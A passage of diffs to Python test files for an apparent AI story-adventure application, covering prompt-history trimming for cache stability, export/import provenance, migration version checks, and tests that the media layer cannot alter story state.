return builder.trim_block(budget, per_action)
|
||||
|
||||
with _pytest.MonkeyPatch.context() as mp:
|
||||
greedier = block_at(2, mp)
|
||||
assert greedier == fits // 2
|
||||
with _pytest.MonkeyPatch.context() as mp:
|
||||
gentler = block_at(8, mp)
|
||||
assert gentler == max(builder.MIN_TRIM_BLOCK, fits // 8)
|
||||
assert greedier > gentler, "a lower fraction must give up more at once"
|
||||
|
||||
# And the floor to the whole thing survives any setting.
|
||||
with _pytest.MonkeyPatch.context() as mp:
|
||||
mp.setattr(builder, "TRIM_FRACTION", 1000)
|
||||
assert builder.trim_block(budget, per_action) >= builder.MIN_TRIM_BLOCK
|
||||
|
||||
|
||||
def test_the_block_never_slides_by_one():
|
||||
"""A block of one is the old behaviour wearing a hat."""
|
||||
assert builder.trim_block(100, 500) >= builder.MIN_TRIM_BLOCK
|
||||
assert builder.trim_block(0, 500) >= builder.MIN_TRIM_BLOCK
|
||||
|
||||
|
||||
def test_the_block_comes_from_settings_not_from_the_story():
|
||||
"""It has to be the same on two consecutive turns, so it cannot be measured
|
||||
from actions whose sizes vary."""
|
||||
assert builder.trim_block(8000, 500) == builder.trim_block(8000, 500)
|
||||
# Bigger budget, bigger step; the ratio is what is fixed.
|
||||
assert builder.trim_block(16000, 500) > builder.trim_block(8000, 500)
|
||||
|
||||
|
||||
# ------------------------------------------------------- nothing to trim yet
|
||||
|
||||
def test_a_story_that_fits_whole_is_not_trimmed():
|
||||
"""Also the append-only regime: every turn is a prefix extension already."""
|
||||
assert builder.history_floor(depths(5), costs_of(5), budget=10_000, block=4) is None
|
||||
|
||||
|
||||
def test_a_short_story_keeps_its_opening():
|
||||
"""Snapping here would drop the start of the story for no reason at all."""
|
||||
assert builder.history_floor(depths(3), costs_of(3), budget=10_000, block=8) is None
|
||||
|
||||
|
||||
def test_an_action_larger_than_the_budget_is_left_to_the_caller():
|
||||
assert builder.history_floor([1], [5000], budget=100, block=4) is None
|
||||
|
||||
|
||||
def test_rows_without_a_depth_are_not_trimmed():
|
||||
"""Legacy rows have no stable coordinate, so behave exactly as before."""
|
||||
assert builder.history_floor([None, None], costs_of(2), 100, 4) is None
|
||||
assert builder.history_floor([], [], 100, 4) is None
|
||||
|
||||
|
||||
# ------------------------------------------------------------ the whole point
|
||||
|
||||
def test_the_floor_holds_still_while_the_story_grows():
|
||||
"""The property the 57x measurement rests on.
|
||||
|
||||
Ten consecutive turns against a full budget. The floor must take a small
|
||||
number of steps, not ten.
|
||||
"""
|
||||
block, budget, each = 4, 1000, 100 # 10 actions fit
|
||||
seen = []
|
||||
for extra in range(10): # the story grows by one action
|
||||
n = 20 + extra
|
||||
seen.append(builder.history_floor(depths(n), costs_of(n, each), budget, block))
|
||||
|
||||
steps = sum(1 for a, b in zip(seen, seen[1:]) if a != b)
|
||||
assert steps <= 3, f"the floor moved {steps} times in 10 turns: {seen}"
|
||||
assert len(set(seen)) > 1, "it never moved at all, so the budget is not binding"
|
||||
|
||||
|
||||
def test_every_floor_sits_on_a_block_boundary():
|
||||
block, budget = 4, 1000
|
||||
for n in range(20, 40):
|
||||
floor = builder.history_floor(depths(n), costs_of(n), budget, block)
|
||||
assert floor is not None
|
||||
assert floor % block == 0, f"{floor} is not a multiple of {block}"
|
||||
|
||||
|
||||
def test_the_floor_only_ever_moves_forward():
|
||||
block, budget = 4, 1000
|
||||
floors = [builder.history_floor(depths(n), costs_of(n), budget, block)
|
||||
for n in range(20, 45)]
|
||||
assert floors == sorted(floors)
|
||||
|
||||
|
||||
# --------------------------------------------------- and still inside budget
|
||||
|
||||
@pytest.mark.parametrize("n", range(20, 40))
|
||||
def test_the_kept_window_never_exceeds_the_budget(n):
|
||||
"""M03's bound is not weakened. Trimming only ever drops more, never less."""
|
||||
block, budget, each = 4, 1000, 100
|
||||
ds, cs = depths(n), costs_of(n, each)
|
||||
floor = builder.history_floor(ds, cs, budget, block)
|
||||
kept = sum(c for d, c in zip(ds, cs) if d >= floor)
|
||||
assert kept <= budget
|
||||
|
||||
|
||||
@pytest.mark.parametrize("n", range(20, 40))
|
||||
def test_the_kept_window_is_not_gutted(n):
|
||||
"""The cost of holding still is bounded: a trim gives up `block` actions,
|
||||
never most of the window."""
|
||||
block, budget, each = 4, 1000, 100
|
||||
ds, cs = depths(n), costs_of(n, each)
|
||||
floor = builder.history_floor(ds, cs, budget, block)
|
||||
kept = sum(c for d, c in zip(ds, cs) if d >= floor)
|
||||
assert kept >= budget - block * each
|
||||
|
||||
|
||||
# ------------------------------------------- the real builder, end to end
|
||||
|
||||
import pytest as _pytest # noqa: E402 (grouped with the fixtures it serves)
|
||||
|
||||
from app import models # noqa: E402
|
||||
from app.context import builder as _builder # noqa: E402
|
||||
from app.database import Base, SessionLocal, engine # noqa: E402
|
||||
|
||||
NARRATION = ("The rain came down over Westhaven in long grey sheets and the "
|
||||
"gutters ran full from the ridge to the waterfront. ") * 6
|
||||
|
||||
|
||||
@_pytest.fixture()
|
||||
def saturated():
|
||||
"""A campaign whose history is longer than its budget, with real depths.
|
||||
|
||||
`depth` is what the floor is expressed in, and every action written through
|
||||
the application has one (`tree.place_action`). The older fixtures in
|
||||
`test_history_window.py` predate the tree and leave it null, which is why
|
||||
trimming does not engage there and those tests still describe the old
|
||||
behaviour exactly.
|
||||
"""
|
||||
Base.metadata.create_all(bind=engine)
|
||||
db = SessionLocal()
|
||||
user = models.User(is_guest=False, email="blocktrim@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
settings = models.Settings(user_id=user.id, model="m", embedding_model="",
|
||||
context_token_budget=2048, max_output_tokens=200)
|
||||
db.add(settings)
|
||||
adventure = models.Adventure(user_id=user.id, title="Long", script_state={})
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
for i in range(60):
|
||||
db.add(models.Action(adventure_id=adventure.id,
|
||||
type="ai" if i % 2 else "do",
|
||||
text=f"[{i}] {NARRATION}", branch_id=None, depth=i))
|
||||
db.commit()
|
||||
db.expire_all()
|
||||
adventure = db.get(models.Adventure, adventure.id)
|
||||
settings = db.get(models.Settings, settings.id)
|
||||
try:
|
||||
yield db, adventure, settings
|
||||
finally:
|
||||
db.close()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def _play_one_more(db, adventure, at_depth):
|
||||
db.add(models.Action(adventure_id=adventure.id, type="do",
|
||||
text=f"[{at_depth}] {NARRATION}", depth=at_depth))
|
||||
# `at_depth` may be None: the control below plays a turn into a story whose
|
||||
# rows predate the tree, which is the ungoverned window this replaced.
|
||||
db.commit()
|
||||
db.expire_all()
|
||||
|
||||
|
||||
def _shared_prefix(before: str, after: str) -> float:
|
||||
"""How much of the old prompt the new one still opens with, 0.0 to 1.0.
|
||||
|
||||
This is the quantity the inference server's cache is keyed on, so it is the
|
||||
quantity worth asserting. It is not 1.0 even in the best case: the prompt
|
||||
ends with the turn's length-hint and state-block instructions, which sit
|
||||
*after* the history, so appending a turn always rewrites that tail.
|
||||
"""
|
||||
shared = 0
|
||||
for x, y in zip(before, after):
|
||||
if x != y:
|
||||
break
|
||||
shared += 1
|
||||
return shared / max(1, len(before))
|
||||
|
||||
|
||||
def test_the_story_prompt_keeps_its_prefix_across_a_new_turn(saturated):
|
||||
"""The property the whole change exists for.
|
||||
|
||||
Not a timing test — it asserts what the timing follows from. The story text
|
||||
a turn sends still opens with almost all of what the previous turn sent, so
|
||||
the server's prompt cache covers that part and only the tail is processed.
|
||||
"""
|
||||
db, adventure, settings = saturated
|
||||
_, before, report_before = _builder.build_context(adventure, settings)
|
||||
assert report_before["history"]["floor_depth"] is not None, (
|
||||
"this fixture is meant to be over budget; trimming never engaged")
|
||||
|
||||
# v1.1 WP-A1: the fixture used to be positioned so that the very next turn
|
||||
# held the floor. The safety reserve takes 256 tokens of this 2,048 budget,
|
||||
# the block is now the minimum of two, and the next turn is a step. So walk
|
||||
# forward until a turn holds, requiring every move on the way to be exactly
|
||||
# one block: a window that slides by one action every turn fails either way.
|
||||
held = None
|
||||
depth = 60
|
||||
for _ in range(4):
|
||||
_play_one_more(db, adventure, depth)
|
||||
depth += 1
|
||||
_, after, report_after = _builder.build_context(adventure, settings)
|
||||
floor_before = report_before["history"]["floor_depth"]
|
||||
floor_after = report_after["history"]["floor_depth"]
|
||||
block = report_after["history"]["trim_block"]
|
||||
assert floor_after - floor_before in (0, block), (floor_before, floor_after, block)
|
||||
if floor_after == floor_before:
|
||||
held = (before, after)
|
||||
break
|
||||
before, report_before = after, report_after
|
||||
|
||||
assert held is not None, "the floor never held across a turn"
|
||||
assert _shared_prefix(*held) > 0.85
|
||||
|
||||
|
||||
def test_without_a_stable_floor_the_prefix_collapses(saturated):
|
||||
"""The control, and the behaviour this replaced.
|
||||
|
||||
Rows with no `depth` cannot be placed on the tree, so the floor cannot be
|
||||
computed and the window takes whatever fits — sliding by one action every
|
||||
turn. The new prompt then starts with a *different* action, the shared
|
||||
prefix collapses, and the server reprocesses essentially the whole thing.
|
||||
That is the 343s case in this module's docstring.
|
||||
"""
|
||||
db, adventure, settings = saturated
|
||||
for action in db.query(models.Action).all():
|
||||
action.depth = None
|
||||
db.commit()
|
||||
db.expire_all()
|
||||
|
||||
_, before, report = _builder.build_context(adventure, settings)
|
||||
assert report["history"]["floor_depth"] is None
|
||||
_play_one_more(db, adventure, None)
|
||||
_, after, _ = _builder.build_context(adventure, settings)
|
||||
|
||||
assert _shared_prefix(before, after) < 0.1
|
||||
|
||||
|
||||
def test_the_window_does_step_eventually(saturated):
|
||||
"""It holds still, but it must not hold still for ever — the budget is a
|
||||
bound, and a window that never moved would break it."""
|
||||
db, adventure, settings = saturated
|
||||
first = _builder.build_context(adventure, settings)[2]["history"]["floor_depth"]
|
||||
|
||||
seen = {first}
|
||||
for depth in range(60, 90):
|
||||
_play_one_more(db, adventure, depth)
|
||||
seen.add(_builder.build_context(adventure, settings)[2]["history"]["floor_depth"])
|
||||
assert len(seen) > 1, "the floor never moved across 30 turns"
|
||||
|
||||
|
||||
def test_the_prompt_stays_inside_the_budget_as_the_window_steps(saturated):
|
||||
"""M03's bound, across the step. Trimming only ever drops more history."""
|
||||
db, adventure, settings = saturated
|
||||
for depth in range(60, 85):
|
||||
_play_one_more(db, adventure, depth)
|
||||
report = _builder.build_context(adventure, settings)[2]
|
||||
assert report["tokens"]["total"] <= report["tokens"]["budget"]
|
||||
@@ -1660,7 +1660,22 @@ def test_an_edited_content_hash_is_recomputed_and_reported(client):
|
||||
|
||||
|
||||
def test_historical_prompt_evidence_survives_an_export_round_trip(client):
|
||||
"""§33: the round trip does not turn provenance into dangling ids."""
|
||||
"""§33: the round trip does not turn provenance into dangling ids.
|
||||
|
||||
Written in M7 and rewritten in M9, and the rewrite is the point of it.
|
||||
|
||||
In M7 the bundle carried no context snapshots at all, so this test pinned
|
||||
the *absence*: there were no ids to dangle because there was no evidence,
|
||||
and the imported campaign's turns simply had no snapshot. That was recorded
|
||||
at the time as a limit owned by M9 rather than as a property worth keeping —
|
||||
`V1-ACCEPTANCE-TESTS.md` I05 said so in as many words, and the M8 report
|
||||
made it handoff question B.
|
||||
|
||||
M9 answered it: the evidence travels. So the assertion inverts, and what it
|
||||
now pins is the thing M7 was worried about and could not check — that the
|
||||
provenance arriving on the other side names *this* campaign's sources rather
|
||||
than the ids it had on the machine that wrote the file.
|
||||
"""
|
||||
ids = import_fixture(client)
|
||||
play(client, "Aldric asks about the Old Abbey and its broken-circle symbol.")
|
||||
actions = client.get(f"/api/adventures/{client.adv_id}/actions").json()["actions"]
|
||||
@@ -1673,17 +1688,33 @@ def test_historical_prompt_evidence_survives_an_export_round_trip(client):
|
||||
bundle = client.get(f"/api/adventures/{client.adv_id}/export").json()
|
||||
restored = client.post("/api/adventures/import", json=bundle).json()
|
||||
|
||||
# The bundle carries no context snapshots at all — it never has, by the rule
|
||||
# at the top of `bundle.py` — so there are no ids to dangle. The imported
|
||||
# campaign's turns simply have no snapshot, which is what a pre-M7 bundle
|
||||
# already did for every other component of the inspector.
|
||||
new_actions = client.get(
|
||||
f"/api/adventures/{restored['id']}/actions"
|
||||
).json()["actions"]
|
||||
new_ai = next(a for a in reversed(new_actions) if a["type"] == "ai")
|
||||
assert client.get(
|
||||
moved = client.get(
|
||||
f"/api/adventures/{restored['id']}/actions/{new_ai['id']}/context"
|
||||
).status_code == 404
|
||||
)
|
||||
assert moved.status_code == 200, moved.text[:300]
|
||||
moved = moved.json()
|
||||
|
||||
# The evidence itself is identical: the same passages, the same text, the
|
||||
# same prompt the turn was actually assembled from.
|
||||
assert [(r["title"], r["text"]) for r in moved["knowledge"]["used"]] == \
|
||||
[(r["title"], r["text"]) for r in before["knowledge"]["used"]]
|
||||
assert moved["prompt"] == before["prompt"]
|
||||
|
||||
# And the one pointer that is not evidence has been translated, so the
|
||||
# inspector's "open this source" reaches the restored library rather than
|
||||
# whatever holds that id here.
|
||||
theirs = {
|
||||
source["id"] for source in
|
||||
client.get(f"/api/adventures/{restored['id']}/knowledge").json()
|
||||
}
|
||||
named = {r["source_id"] for r in moved["knowledge"]["used"]
|
||||
if r["source_id"] is not None}
|
||||
assert named and named <= theirs
|
||||
|
||||
# And the original campaign's evidence is untouched by having been exported.
|
||||
after = client.get(
|
||||
f"/api/adventures/{client.adv_id}/actions/{ai_action['id']}/context"
|
||||
|
||||
@@ -34,6 +34,9 @@ from app.routers import adventures
|
||||
from fakes import ScriptedProvider, state_block
|
||||
|
||||
M6_VERSION = 91
|
||||
#: The version M7's own migration introduced. Kept as the number M7 added
|
||||
#: rather than as "the newest version": M11 added 93, and a test that conflated
|
||||
#: the two would fail on every later migration while proving nothing about M7.
|
||||
M7_VERSION = 92
|
||||
|
||||
#: Everything M7 adds to the schema. Dropping all of it and rewinding the stamp
|
||||
@@ -127,7 +130,8 @@ def test_a_fresh_database_gets_every_m7_table_and_the_fts_index(client):
|
||||
for table in M7_TABLES:
|
||||
assert table in tables
|
||||
assert fts.TABLE in tables
|
||||
assert stamp() == migrations.LATEST_VERSION == M7_VERSION
|
||||
# Bootstrapping goes to the newest version, which is M7's or later.
|
||||
assert stamp() == migrations.LATEST_VERSION >= M7_VERSION
|
||||
|
||||
# And it works end to end on that fresh database.
|
||||
assert upload(client, "canon.md",
|
||||
@@ -199,7 +203,7 @@ def test_a_real_m6_database_migrates_and_keeps_everything_it_had(client):
|
||||
|
||||
migrations.bootstrap(engine)
|
||||
|
||||
assert stamp() == M7_VERSION
|
||||
assert stamp() == migrations.LATEST_VERSION >= M7_VERSION
|
||||
tables = set(inspect(engine).get_table_names())
|
||||
for table in M7_TABLES + (fts.TABLE,):
|
||||
assert table in tables, table
|
||||
@@ -265,7 +269,7 @@ def test_the_migration_is_idempotent(client):
|
||||
rows = len(db.execute(select(models.KnowledgeChunk)).scalars().all())
|
||||
|
||||
migrations.bootstrap(engine)
|
||||
assert stamp() == M7_VERSION
|
||||
assert stamp() == migrations.LATEST_VERSION >= M7_VERSION
|
||||
with SessionLocal() as db:
|
||||
assert len(db.execute(select(models.KnowledgeChunk)).scalars().all()) == rows
|
||||
assert len(client.get(f"/api/adventures/{client.adv_id}/knowledge").json()) == 1
|
||||
|
||||
@@ -0,0 +1,342 @@
|
||||
"""M10 §6 and §18: the media layer cannot write the story.
|
||||
|
||||
The architectural claim is one sentence — *media is derived presentation, story
|
||||
state is authoritative, and there is no reverse path* — and this file is the
|
||||
part of it that is checked by running things rather than by reading imports.
|
||||
|
||||
Every test here follows the same shape, which is the shape that makes it
|
||||
evidence rather than assertion:
|
||||
|
||||
record the authoritative document, byte for byte
|
||||
do the media-layer thing
|
||||
record it again
|
||||
require them to be identical
|
||||
|
||||
That catches a write nobody intended as well as one somebody did, and it does
|
||||
not depend on knowing *how* a violation would have happened.
|
||||
|
||||
`test_m10_media_hooks.py` covers what the boundary carries; this covers what it
|
||||
must never push back through.
|
||||
|
||||
python -m pytest tests/test_m10_authority.py -v
|
||||
"""
|
||||
|
||||
import copy
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, limits, memorybank, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.knowledge import embeddings
|
||||
from app.main import app
|
||||
from app.media import packet as scene_packet
|
||||
from app.media import profiles as visual_profiles
|
||||
from app.media import providers
|
||||
from app.routers import adventures
|
||||
|
||||
import m10_fixture
|
||||
from fakes import ScriptedProvider
|
||||
|
||||
|
||||
class StubDerived:
|
||||
async def complete(self, system, prompt, **kwargs):
|
||||
return "A memory."
|
||||
|
||||
async def embed(self, texts):
|
||||
return [[1.0, 0.5, 0.25] for _ in texts]
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m10auth@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="test-model", embedding_model="",
|
||||
context_token_budget=4000, max_output_tokens=400,
|
||||
))
|
||||
adventure = models.Adventure(user_id=user.id, title="Authority")
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(
|
||||
adventure_id=adventure.id, type="start", text="It begins.",
|
||||
))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
monkeypatch.setattr(memorybank, "embedding_provider", lambda s: StubDerived())
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: StubDerived())
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def office(client):
|
||||
return m10_fixture.build(client, client.adv_id)
|
||||
|
||||
|
||||
def authoritative(adv_id) -> dict:
|
||||
"""Everything the story counts as true, read straight from the database."""
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, adv_id)
|
||||
return {
|
||||
"state": copy.deepcopy(adventure.narrative_state),
|
||||
"head_branch": adventure.head_branch_id,
|
||||
"head_depth": adventure.head_depth,
|
||||
"events": db.query(models.StateEvent).filter(
|
||||
models.StateEvent.adventure_id == adv_id).count(),
|
||||
"proposals": db.query(models.StateProposal).filter(
|
||||
models.StateProposal.adventure_id == adv_id).count(),
|
||||
"actions": db.query(models.Action).filter(
|
||||
models.Action.adventure_id == adv_id).count(),
|
||||
}
|
||||
|
||||
|
||||
# ------------------------------------------------------ writes that must not
|
||||
|
||||
def test_writing_a_visual_profile_changes_no_story_state(client, office):
|
||||
before = authoritative(client.adv_id)
|
||||
response = client.put(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/bill",
|
||||
json={"descriptors": {"build": "heavyset", "clothing": "navy suit"},
|
||||
"features": ["signet ring"], "style_notes": "photographic"},
|
||||
)
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
assert authoritative(client.adv_id) == before
|
||||
|
||||
|
||||
def test_updating_a_visual_profile_creates_no_state_fact(client, office):
|
||||
"""§6's example, made concrete.
|
||||
|
||||
A profile saying Alice wears a blue coat must not make it true that Alice
|
||||
owns or wears a blue coat. Checked by looking for the words in the
|
||||
authoritative document afterwards, not only by comparing counts.
|
||||
"""
|
||||
before = authoritative(client.adv_id)
|
||||
client.put(f"/api/adventures/{client.adv_id}/visual-profiles/alice",
|
||||
json={"descriptors": {"clothing": "blue coat"}})
|
||||
after = authoritative(client.adv_id)
|
||||
assert after == before
|
||||
assert "blue coat" not in repr(after["state"])
|
||||
|
||||
document = client.get(
|
||||
f"/api/adventures/{client.adv_id}/state").json()["document"]
|
||||
assert not any("blue coat" in repr(f) for f in document["facts"])
|
||||
assert "blue coat" not in repr(document["entities"]["alice"])
|
||||
|
||||
|
||||
def test_deleting_a_visual_profile_changes_no_story_state(client, office):
|
||||
before = authoritative(client.adv_id)
|
||||
assert client.delete(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles/alice"
|
||||
).status_code == 204
|
||||
assert authoritative(client.adv_id) == before
|
||||
|
||||
|
||||
def test_building_a_scene_packet_changes_nothing(client, office):
|
||||
"""A packet is a read. Built repeatedly, it must still be a read."""
|
||||
before = authoritative(client.adv_id)
|
||||
for _ in range(5):
|
||||
assert client.get(
|
||||
f"/api/adventures/{client.adv_id}/scene-packet"
|
||||
).status_code == 200
|
||||
assert authoritative(client.adv_id) == before
|
||||
|
||||
|
||||
def test_a_scene_packet_does_not_move_the_head(client, office):
|
||||
before = authoritative(client.adv_id)
|
||||
client.get(f"/api/adventures/{client.adv_id}/scene-packet?start=0&end=4")
|
||||
after = authoritative(client.adv_id)
|
||||
assert after["head_branch"] == before["head_branch"]
|
||||
assert after["head_depth"] == before["head_depth"]
|
||||
|
||||
|
||||
def test_a_dummy_media_result_cannot_reach_the_story(client, office):
|
||||
"""§18: adding a depiction, even a wrong one, changes nothing.
|
||||
|
||||
The result claims Alice is wearing a red coat and standing in a corridor.
|
||||
None of that is true in the campaign, and after registering, generating and
|
||||
holding the result, none of it has become true.
|
||||
"""
|
||||
import asyncio
|
||||
|
||||
before = authoritative(client.adv_id)
|
||||
packet = client.get(
|
||||
f"/api/adventures/{client.adv_id}/scene-packet").json()
|
||||
|
||||
class WrongProvider:
|
||||
def capabilities(self):
|
||||
return providers.ProviderCapabilities(
|
||||
provider_id="wrong", kinds=(providers.IMAGE,))
|
||||
|
||||
async def generate(self, request):
|
||||
return providers.MediaResult(
|
||||
kind=providers.IMAGE, media_type="image/png",
|
||||
data=b"\x89PNG\r\n\x1a\n",
|
||||
provenance={"scene_id": request.scene["scene_id"]},
|
||||
details={"depicts": "Alice in a red coat in a corridor"},
|
||||
)
|
||||
|
||||
providers.register("wrong", WrongProvider())
|
||||
try:
|
||||
result = asyncio.run(WrongProvider().generate(
|
||||
providers.MediaRequest(kind=providers.IMAGE, scene=packet)))
|
||||
assert "red coat" in result.details["depicts"]
|
||||
finally:
|
||||
providers.unregister("wrong")
|
||||
|
||||
after = authoritative(client.adv_id)
|
||||
assert after == before
|
||||
assert "red coat" not in repr(after["state"])
|
||||
assert "corridor" not in repr(after["state"])
|
||||
|
||||
|
||||
def test_a_provider_failure_cannot_advance_the_head(client, office):
|
||||
"""§18: a media failure is not a story event."""
|
||||
import asyncio
|
||||
|
||||
before = authoritative(client.adv_id)
|
||||
|
||||
class FailingProvider:
|
||||
def capabilities(self):
|
||||
return providers.ProviderCapabilities(
|
||||
provider_id="failing", kinds=(providers.IMAGE,))
|
||||
|
||||
async def generate(self, request):
|
||||
raise providers.MediaProviderError("the local generator is not running")
|
||||
|
||||
providers.register("failing", FailingProvider())
|
||||
try:
|
||||
with pytest.raises(providers.MediaProviderError):
|
||||
asyncio.run(FailingProvider().generate(providers.MediaRequest(
|
||||
kind=providers.IMAGE,
|
||||
scene=client.get(
|
||||
f"/api/adventures/{client.adv_id}/scene-packet").json())))
|
||||
finally:
|
||||
providers.unregister("failing")
|
||||
|
||||
assert authoritative(client.adv_id) == before
|
||||
|
||||
|
||||
def test_a_scene_derivation_failure_does_not_corrupt_an_accepted_turn(client, office):
|
||||
"""§18: if building a packet raised, the story would be untouched.
|
||||
|
||||
The failure is induced in the packet builder itself, which is the only place
|
||||
derivation happens, and the accepted turn either side is compared whole.
|
||||
"""
|
||||
before = authoritative(client.adv_id)
|
||||
original = scene_packet.build
|
||||
|
||||
def explode(*args, **kwargs):
|
||||
raise RuntimeError("scene derivation failed")
|
||||
|
||||
scene_packet.build = explode
|
||||
try:
|
||||
response = client.get(f"/api/adventures/{client.adv_id}/scene-packet")
|
||||
assert response.status_code >= 500
|
||||
except RuntimeError:
|
||||
pass # the TestClient re-raises; either way the story must be intact
|
||||
finally:
|
||||
scene_packet.build = original
|
||||
|
||||
assert authoritative(client.adv_id) == before
|
||||
# And the campaign still plays.
|
||||
m10_fixture.play(client, client.adv_id, "carry on", [])
|
||||
assert authoritative(client.adv_id)["actions"] == before["actions"] + 2
|
||||
|
||||
|
||||
# ------------------------------------------------- rebuilding derived data
|
||||
|
||||
def test_deleting_every_visual_profile_leaves_the_campaign_intact(client, office):
|
||||
"""§18's last clause: derived data can go without taking the story with it.
|
||||
|
||||
Profiles are the only thing M10 persists, and they are recoverable only from
|
||||
a bundle or by being written again — so the promise here is narrower than
|
||||
M9's rebuildable indexes, and the test states the narrow thing: removing
|
||||
them costs the descriptions and nothing else.
|
||||
"""
|
||||
before = authoritative(client.adv_id)
|
||||
with SessionLocal() as db:
|
||||
db.query(models.VisualProfile).filter(
|
||||
models.VisualProfile.adventure_id == client.adv_id
|
||||
).delete(synchronize_session=False)
|
||||
db.commit()
|
||||
|
||||
assert authoritative(client.adv_id) == before
|
||||
assert client.get(
|
||||
f"/api/adventures/{client.adv_id}/visual-profiles").json()["profiles"] == []
|
||||
|
||||
# The packet still builds; it simply describes nobody's appearance.
|
||||
p = client.get(f"/api/adventures/{client.adv_id}/scene-packet").json()
|
||||
assert [c["name"] for c in p["characters"]] == ["Bill", "Alice", "Roger"]
|
||||
assert all(c["visual_profile"] is None for c in p["characters"])
|
||||
|
||||
|
||||
def test_the_story_survives_a_profile_naming_a_vanished_entity(client, office):
|
||||
"""A profile whose entity is gone is inert, not a corruption.
|
||||
|
||||
Reachable through an import: a bundle may carry a profile for an entity that
|
||||
only exists on a branch the campaign has left.
|
||||
"""
|
||||
with SessionLocal() as db:
|
||||
db.add(models.VisualProfile(
|
||||
adventure_id=client.adv_id, entity_key="nobody_at_all",
|
||||
descriptors={"hair": "green"}, features=[], style_notes=""))
|
||||
db.commit()
|
||||
before = authoritative(client.adv_id)
|
||||
p = client.get(f"/api/adventures/{client.adv_id}/scene-packet").json()
|
||||
assert "green" not in repr(p)
|
||||
assert authoritative(client.adv_id) == before
|
||||
m10_fixture.play(client, client.adv_id, "carry on", [])
|
||||
|
||||
|
||||
# ---------------------------------------------- the separation, structurally
|
||||
|
||||
def test_the_media_package_imports_nothing_that_writes_state(client):
|
||||
"""The guarantee behind every test above, checked as an import rule.
|
||||
|
||||
`narrative.apply` and `narrative.store` are the only modules that write the
|
||||
authoritative document, and `media/` reaching either of them would make the
|
||||
separation a convention rather than a fact. `narrative.model` and
|
||||
`narrative.store.current` are reads and are used.
|
||||
"""
|
||||
import pathlib
|
||||
|
||||
seam = pathlib.Path(__file__).resolve().parent.parent / "app" / "media"
|
||||
for path in seam.rglob("*.py"):
|
||||
body = path.read_text()
|
||||
assert "narrative.apply" not in body, path.name
|
||||
assert "from ..narrative import apply" not in body, path.name
|
||||
assert "set_current" not in body, path.name
|
||||
assert "head.move_to" not in body, path.name
|
||||
assert "tree.place_action" not in body, path.name
|
||||
|
||||
|
||||
def test_no_state_event_type_was_added_for_media(client):
|
||||
"""M10 adds no way for the media layer to speak in the story's vocabulary."""
|
||||
from app.narrative import events
|
||||
|
||||
assert not any(
|
||||
name.startswith("media") or "visual" in name or "asset" in name
|
||||
for name in events.ALLOWED
|
||||
)
|
||||
@@ -0,0 +1,500 @@
|
||||
"""M10 §14 and §15: the profiles travel, and an M9 database opens.
|
||||
|
||||
Two questions, and they are the ones a reader would ask if they knew what M10
|
||||
had done to their machine:
|
||||
|
||||
* **§14 — does a campaign still move?** A visual profile is part of the campaign
|
||||
the reader built, so it belongs in the bundle. It is also *new*, which is the
|
||||
risk: an exporter that carries it and an importer that drops it both pass a
|
||||
test that only checks the campaign still opens.
|
||||
* **§15 — does the database I already have still work?** M10 adds one table and
|
||||
nothing else. An existing campaign must survive opening under the new build
|
||||
untouched, opening must not care how many times it happens, the schema an M9
|
||||
file reaches must be the schema a fresh install has, and M9's backup must keep
|
||||
working on the result.
|
||||
|
||||
The upgrade needs **no migration**: `create_all` builds a new table and the
|
||||
indexes declared on its columns on every path. A `CREATE INDEX` migration was
|
||||
written here first and `test_a_fresh_database_arrives_at_the_same_place` is what
|
||||
found it wrong — it left an upgraded database holding an index a fresh install
|
||||
did not have. That test is the one to keep pointed at any future schema change.
|
||||
|
||||
The bundle format stays `ai-dnd-adventure-v3`. M9's own test for a version bump
|
||||
is whether omission creates ambiguity about what an older file *could* have
|
||||
recorded, and it does not: a campaign with no visual profiles is the ordinary
|
||||
case, so an absent key means "none" rather than "unknown". The tests below hold
|
||||
that decision to its consequence — an M9-written v3 file must still import, and
|
||||
the M10 exporter must still produce a file an M9 build would recognise.
|
||||
|
||||
python -m pytest tests/test_m10_bundle.py -v
|
||||
"""
|
||||
|
||||
import copy
|
||||
import os
|
||||
import shutil
|
||||
import sqlite3
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
from sqlalchemy import create_engine, text
|
||||
from sqlalchemy.orm import sessionmaker
|
||||
|
||||
from app import auth, backup, limits, migrations, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.routers import adventures
|
||||
|
||||
import m10_fixture
|
||||
from fakes import ScriptedProvider
|
||||
from test_process_restart import Server, _free_port
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
